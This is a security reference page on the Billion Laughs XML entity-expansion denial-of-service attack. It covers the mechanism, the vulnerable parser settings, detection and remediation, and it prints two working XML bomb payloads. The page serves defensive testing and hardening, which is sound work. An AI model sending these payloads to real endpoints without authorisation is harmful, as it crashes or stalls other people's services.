Billion Laughs entity-expansion DoS
The Billion Laughs XML bomb is a denial-of-service cousin of XXE: it defines nested internal entities that each reference the previous one ten times, so a few lines expand exponentially into gigabytes of text when the parser resolves them, exhausting memory or CPU — no external resources required.
- Target formats
- Plain XMLSOAPAny XML endpoint
- Affected parsers
- libxml (older)Java/Python/.NET parsers with entity expansion on
- Impact
- Denial of serviceMemory exhaustionCPU exhaustion
How it works
Internal entities can reference other internal entities. If entity lol2 expands to ten copies of lol, lol3 to ten copies of lol2, and so on, then by the tenth level a single reference expands to a billion copies of the original string.
The parser faithfully expands every reference in memory, so a tiny document balloons into gigabytes, stalling or crashing the process. Unlike other XXE, it needs no external entity and no outbound connection — just entity expansion being enabled.
Which parser configuration makes it work
Works on any parser that expands internal general entities without limits. Many modern parsers cap expansion depth/size by default, so it mainly affects older libraries or parsers with limits raised or disabled.
Representative payloads
Replace callback hosts and target paths with your own authorized test values.
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>&lol9; expands to one billion copies of "lol".
<?xml version="1.0"?>
<!DOCTYPE kaboom [
<!ENTITY a "aaaaaaaaaa... (large)">
]>
<kaboom>&a;&a;&a;&a;&a;&a;&a;... (many)</kaboom>Avoids deep nesting limits by referencing one big entity many times.
Detection
As a tester, submit a bounded version and watch parse time and memory grow. As a defender, monitor for XML requests that cause sudden memory/CPU spikes in the parsing process and for documents declaring many nested internal entities; cap request body size and parse time as early-warning controls.
- Many nested internal <!ENTITY declarations in a small body
- Memory/CPU spike in the parser out of proportion to request size
- Parse operations timing out on specific inputs
Remediation
Disable DOCTYPE processing where possible — no DTD means no entity definitions and no bomb. Where DTDs are needed, disable or strictly cap general-entity expansion (many parsers expose a secure-processing feature or entity-expansion limit; keep it enabled and low). Enforce request-size limits and parse timeouts so a single document cannot monopolise resources, and prefer parsers that ship safe expansion limits by default.
Fix checklist
- Reject DOCTYPE declarations where feasible
- Enable secure-processing / entity-expansion limits (keep them low)
- Enforce maximum request body size and parse timeouts
- Prefer parsers with safe default expansion limits